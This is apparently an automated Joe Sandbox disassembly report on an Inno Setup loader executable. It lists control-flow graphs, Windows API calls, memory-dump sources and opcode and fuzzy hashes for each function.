                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • SetLastError.KERNEL32 ref: 0040AAC1
                                                                                            • Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B244,?,020A24D0), ref: 0040966C
                                                                                          • CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040AAFE
                                                                                          • SetWindowLongA.USER32(0002041A,000000FC,00409960), ref: 0040AB15
                                                                                          • RemoveDirectoryA.KERNEL32(00000000,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC01
                                                                                          • DestroyWindow.USER32(0002041A,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC15
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$ErrorLast$CreateDestroyDirectoryLongRemove
                                                                                          • String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
                                                                                          • API String ID: 3757039580-3001827809
                                                                                          • Opcode ID: 7bc9c0c8e9dfd2478b94306391eafe1fb51b7566d8199cdbb2b2653dcbc3d95c
                                                                                          • Instruction ID: 81987b3bab642c92fe87a7372e0454594c4b8fe140ce311e0f93b1eeebf6ab37
                                                                                          • Opcode Fuzzy Hash: 7bc9c0c8e9dfd2478b94306391eafe1fb51b7566d8199cdbb2b2653dcbc3d95c
                                                                                          • Instruction Fuzzy Hash: 25412E70604204DBDB10EBA9EE89B9E37A5EB44304F10467FF510B72E2D7B89855CB9D

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,0040A62C), ref: 004090C4
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090CA
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,0040A62C), ref: 004090DE
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090E4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
                                                                                          • API String ID: 1646373207-2130885113
                                                                                          • Opcode ID: 0414f1d66f28dc470df4633e5994336701384173b3f6f66b470f3ad827f759f7
                                                                                          • Instruction ID: 214dda5481ef482ebe311b1329301f35405b1013d97e3062c17ffb2c8286d57d
                                                                                          • Opcode Fuzzy Hash: 0414f1d66f28dc470df4633e5994336701384173b3f6f66b470f3ad827f759f7
                                                                                          • Instruction Fuzzy Hash: 21017C70748342AEFB00BB76DD4AB163A68E785704F60457BF640BA2D3DABD4C04D66E

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040AAFE
                                                                                          • SetWindowLongA.USER32(0002041A,000000FC,00409960), ref: 0040AB15
                                                                                            • Part of subcall function 00406B7C: GetCommandLineA.KERNEL32(00000000,00406BC0,?,?,?,?,00000000,?,0040AB86,?), ref: 00406B94
                                                                                            • Part of subcall function 004099EC: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,020A24D0,00409AD8,00000000,00409ABF), ref: 00409A5C
                                                                                            • Part of subcall function 004099EC: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,020A24D0,00409AD8,00000000), ref: 00409A70
                                                                                            • Part of subcall function 004099EC: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A89
                                                                                            • Part of subcall function 004099EC: GetExitCodeProcess.KERNEL32(?,0040B244), ref: 00409A9B
                                                                                            • Part of subcall function 004099EC: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,020A24D0,00409AD8), ref: 00409AA4
                                                                                          • RemoveDirectoryA.KERNEL32(00000000,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC01
                                                                                          • DestroyWindow.USER32(0002041A,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC15
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$CloseCreateHandleProcess$CodeCommandDestroyDirectoryExitLineLongMultipleObjectsRemoveWait
                                                                                          • String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
                                                                                          • API String ID: 3586484885-3001827809
                                                                                          • Opcode ID: c367800830601d7b7bb1e4b9cc729c69669d466ec6c890b8506752b9ad64910a
                                                                                          • Instruction ID: d3376fcde1141b4290a3dca450fc2844fa47922897975e075ebf06e3b6db64eb
                                                                                          • Opcode Fuzzy Hash: c367800830601d7b7bb1e4b9cc729c69669d466ec6c890b8506752b9ad64910a
                                                                                          • Instruction Fuzzy Hash: 77411A71604204DFD714EBA9EE85B5A37B5EB48304F20427BF500BB2E1D7B8A855CB9D

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,020A24D0,00409AD8,00000000,00409ABF), ref: 00409A5C
                                                                                          • CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,020A24D0,00409AD8,00000000), ref: 00409A70
                                                                                          • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A89
                                                                                          • GetExitCodeProcess.KERNEL32(?,0040B244), ref: 00409A9B
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,020A24D0,00409AD8), ref: 00409AA4
                                                                                            • Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B244,?,020A24D0), ref: 0040966C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
                                                                                          • String ID: D
                                                                                          • API String ID: 3356880605-2746444292
                                                                                          • Opcode ID: aadf6f075de5bdb3c28d757ddccd10dd30f6bbfdbbad62eb54c24073370c977f
                                                                                          • Instruction ID: b58d0f6e2b8975977e6c7b71aada5392bea55c03070ce9fad3dcef5aa6d4018a
                                                                                          • Opcode Fuzzy Hash: aadf6f075de5bdb3c28d757ddccd10dd30f6bbfdbbad62eb54c24073370c977f
                                                                                          • Instruction Fuzzy Hash: EE1142B16402486EDB00EBE6CC42F9EB7ACEF49714F50013BB604F72C6DA785D048A69

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 136 401918-40193a RtlInitializeCriticalSection 137 401946-40197c call 4012dc * 3 LocalAlloc 136->137 138 40193c-401941 RtlEnterCriticalSection 136->138 145 4019ad-4019c1 137->145 146 40197e 137->146 138->137 150 4019c3-4019c8 RtlLeaveCriticalSection 145->150 151 4019cd 145->151 147 401983-401995 146->147 147->147 149 401997-4019a6 147->149 149->145 150->151
                                                                                          APIs
                                                                                          • RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
                                                                                          • RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
                                                                                          • LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
                                                                                          • RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                                                          • String ID:
                                                                                          • API String ID: 730355536-0
                                                                                          • Opcode ID: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
                                                                                          • Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
                                                                                          • Opcode Fuzzy Hash: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
                                                                                          • Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 0040A878
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Message
                                                                                          • String ID: .tmp$y@
                                                                                          • API String ID: 2030045667-2396523267
                                                                                          • Opcode ID: 55a53fbd7ad7285035f8ab2cde1915fb146aa3dc543cd9b52406218d685c1c98
                                                                                          • Instruction ID: 5e9257013af3d55ef2b6e359c41f87f67318ae2a4e6dbf07461b5d8c6de74657
                                                                                          • Opcode Fuzzy Hash: 55a53fbd7ad7285035f8ab2cde1915fb146aa3dc543cd9b52406218d685c1c98
                                                                                          • Instruction Fuzzy Hash: 3B41C030704200CFD311EF25DED1A1A77A5EB49304B214A3AF804B73E1CAB9AC11CBAD

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 0040A878
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Message
                                                                                          • String ID: .tmp$y@
                                                                                          • API String ID: 2030045667-2396523267
                                                                                          • Opcode ID: 4e131503fe38447772e4e2294cf5373b7e2007f9fac8d76d0a71823c743fc64d
                                                                                          • Instruction ID: 95bba075cf9db07042691c1556ef0613dbe482a65a3614fff4d0ead14828e6f7
                                                                                          • Opcode Fuzzy Hash: 4e131503fe38447772e4e2294cf5373b7e2007f9fac8d76d0a71823c743fc64d
                                                                                          • Instruction Fuzzy Hash: E341BE30700200DFC711EF65DED2A1A77A5EB49304B104A3AF804B73E2CAB9AC01CBAD

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409376
                                                                                          • GetLastError.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040937F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateDirectoryErrorLast
                                                                                          • String ID: .tmp
                                                                                          • API String ID: 1375471231-2986845003
                                                                                          • Opcode ID: 1c7982c9535877cc809d76a2290e1ec991a7408e90ad789d49a53b04ffd62ed2
                                                                                          • Instruction ID: b240cf9bc22f775501a2d99da134be40bb2f76fb21a7d6e050461713caae6e8b
                                                                                          • Opcode Fuzzy Hash: 1c7982c9535877cc809d76a2290e1ec991a7408e90ad789d49a53b04ffd62ed2
                                                                                          • Instruction Fuzzy Hash: 9E216774A00208ABDB05EFA1C8429DFB7B8EF88304F50457BE901B73C2DA3C9E058A65

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 342 407749-40774a 343 4076dc-4076e6 WriteFile 342->343 344 40774c-40776f 342->344 346 4076e8-4076ea call 40748c 343->346 347 4076ef-4076f2 343->347 345 407770-407785 344->345 348 407787 345->348 349 4077f9 345->349 346->347 351 407700-407704 347->351 352 4076f4-4076fb call 4073ec 347->352 353 40778a-40778f 348->353 354 4077fd-407802 348->354 355 40783b-40783d 349->355 356 4077fb 349->356 352->351 360 407803-407819 353->360 362 407791-407792 353->362 354->360 358 407841-407843 355->358 356->354 361 40785b-40785c 358->361 360->361 372 40781b 360->372 363 4078d6-4078eb call 407890 InterlockedExchange 361->363 364 40785e-40788c 361->364 365 407724-407741 362->365 366 407794-4077b4 362->366 385 407912-407917 363->385 386 4078ed-407910 363->386 381 407820-407823 364->381 382 407890-407893 364->382 368 407743 365->368 369 4077b5 365->369 366->369 373 407746-407747 368->373 374 4077b9 368->374 377 4077b6-4077b7 369->377 378 4077f7-4077f8 369->378 379 40781e-40781f 372->379 373->342 380 4077bb-4077cd 373->380 374->380 377->374 378->349 379->381 380->358 387 4077cf-4077d4 380->387 384 407898 381->384 388 407824 381->388 382->384 389 40789a 384->389 386->385 386->386 387->355 392 4077d6-4077de 387->392 388->389 391 407825 388->391 395 40789f 389->395 393 407896-407897 391->393 394 407826-40782d 391->394 392->345 404 4077e0 392->404 393->384 397 4078a1 394->397 398 40782f 394->398 395->397 402 4078a3 397->402 403 4078ac 397->403 400 407832-407833 398->400 401 4078a5-4078aa 398->401 400->355 400->379 405 4078ae-4078af 401->405 402->401 403->405 404->378 405->395 406 4078b1-4078bd 405->406 406->384 407 4078bf-4078c0 406->407
                                                                                          APIs
                                                                                          • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3934441357-0
                                                                                          • Opcode ID: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
                                                                                          • Instruction ID: 20d0a63744b7af467993d3e8aec565234b7be2d060ba20bf9fd199bb98bd5a4e
                                                                                          • Opcode Fuzzy Hash: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
                                                                                          • Instruction Fuzzy Hash: 8251D12294D2910FC7126B7849685A53FE0FE5331132E92FBC5C1AB1A3D27CA847D35B

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 408 401fd4-401fe6 409 401fe8 call 401918 408->409 410 401ffb-402010 408->410 414 401fed-401fef 409->414 412 402012-402017 RtlEnterCriticalSection 410->412 413 40201c-402025 410->413 412->413 415 402027 413->415 416 40202c-402032 413->416 414->410 419 401ff1-401ff6 414->419 415->416 417 402038-40203c 416->417 418 4020cb-4020d1 416->418 420 402041-402050 417->420 421 40203e 417->421 423 4020d3-4020e0 418->423 424 40211d-40211f call 401ee0 418->424 422 40214f-402158 419->422 420->418 425 402052-402060 420->425 421->420 427 4020e2-4020ea 423->427 428 4020ef-40211b call 402f54 423->428 432 402124-40213b 424->432 430 402062-402066 425->430 431 40207c-402080 425->431 427->428 428->422 434 402068 430->434 435 40206b-40207a 430->435 437 402082 431->437 438 402085-4020a0 431->438 440 402147 432->440 441 40213d-402142 RtlLeaveCriticalSection 432->441 434->435 439 4020a2-4020c6 call 402f54 435->439 437->438 438->439 439->422 441->440
                                                                                          APIs
                                                                                          • RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00402148), ref: 00402017
                                                                                            • Part of subcall function 00401918: RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
                                                                                            • Part of subcall function 00401918: RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
                                                                                            • Part of subcall function 00401918: LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
                                                                                            • Part of subcall function 00401918: RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
                                                                                          • String ID:
                                                                                          • API String ID: 296031713-0
                                                                                          • Opcode ID: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
                                                                                          • Instruction ID: b272be6629c35a549fc4f1c5a19e6e0df2414f51bb24a7fd7fb800939d1160d0
                                                                                          • Opcode Fuzzy Hash: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
                                                                                          • Instruction Fuzzy Hash: D4419CB2A40711DFDB108F69DEC562A77A0FB58314B25837AD984B73E1D378A842CB48

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 444 406fa0-406ff3 SetErrorMode call 403414 LoadLibraryA
                                                                                          APIs
                                                                                          • SetErrorMode.KERNEL32(00008000), ref: 00406FAA
                                                                                          • LoadLibraryA.KERNEL32(00000000,00000000,00406FF4,?,00000000,00407012,?,00008000), ref: 00406FD9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLibraryLoadMode
                                                                                          • String ID:
                                                                                          • API String ID: 2987862817-0
                                                                                          • Opcode ID: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
                                                                                          • Instruction ID: 292e1fc4e19851716b0ab93d2d43454b233f1d25ff8a05a0d03104374ea2dcbc
                                                                                          • Opcode Fuzzy Hash: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
                                                                                          • Instruction Fuzzy Hash: D6F08270A14704BEDB129FB68C5282ABBECEB4DB0475349BAF914A26D2E53C5C209568
                                                                                          APIs
                                                                                          • SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040768B
                                                                                          • GetLastError.KERNEL32(?,?,?,00000000), ref: 00407693
                                                                                            • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast$FilePointer
                                                                                          • String ID:
                                                                                          • API String ID: 1156039329-0
                                                                                          • Opcode ID: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
                                                                                          • Instruction ID: 64daf3b7b2b4cd691f255a674f922558070816022eb0a012369b73df1192a31e
                                                                                          • Opcode Fuzzy Hash: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
                                                                                          • Instruction Fuzzy Hash: B2E092766081016FD600D55EC881B9B37DCDFC5364F104536B654EB2D1D679EC108776

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 448 40762c-40764a ReadFile 449 407663-40766a 448->449 450 40764c-407650 448->450 451 407652-40765a GetLastError 450->451 452 40765c-40765e call 40748c 450->452 451->449 451->452 452->449
                                                                                          APIs
                                                                                          • ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00407643
                                                                                          • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00407652
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorFileLastRead
                                                                                          • String ID:
                                                                                          • API String ID: 1948546556-0
                                                                                          • Opcode ID: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
                                                                                          • Instruction ID: e2f452503b48da12a69c10a9d1416f2aa512a4714c212e67fea7d8588799396e
                                                                                          • Opcode Fuzzy Hash: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
                                                                                          • Instruction Fuzzy Hash: 69E012A1A081106ADB24A66E9CC5F6B6BDCCBC5724F14457BF504DB382D678DC0487BB
                                                                                          APIs
                                                                                          • SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 004075DB
                                                                                          • GetLastError.KERNEL32(?,00000000,?,00000001), ref: 004075E7
                                                                                            • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast$FilePointer
                                                                                          • String ID:
                                                                                          • API String ID: 1156039329-0
                                                                                          • Opcode ID: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
                                                                                          • Instruction ID: 74cf86129294d2faf5969c20f66175129728110ffa3c668ef2bae8a95e28f18b
                                                                                          • Opcode Fuzzy Hash: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
                                                                                          • Instruction Fuzzy Hash: C4E04FB1600210AFDB10EEB98D81B9676D89F48364F0485B6EA14DF2C6D274DC00C766
                                                                                          APIs
                                                                                          • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
                                                                                          • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
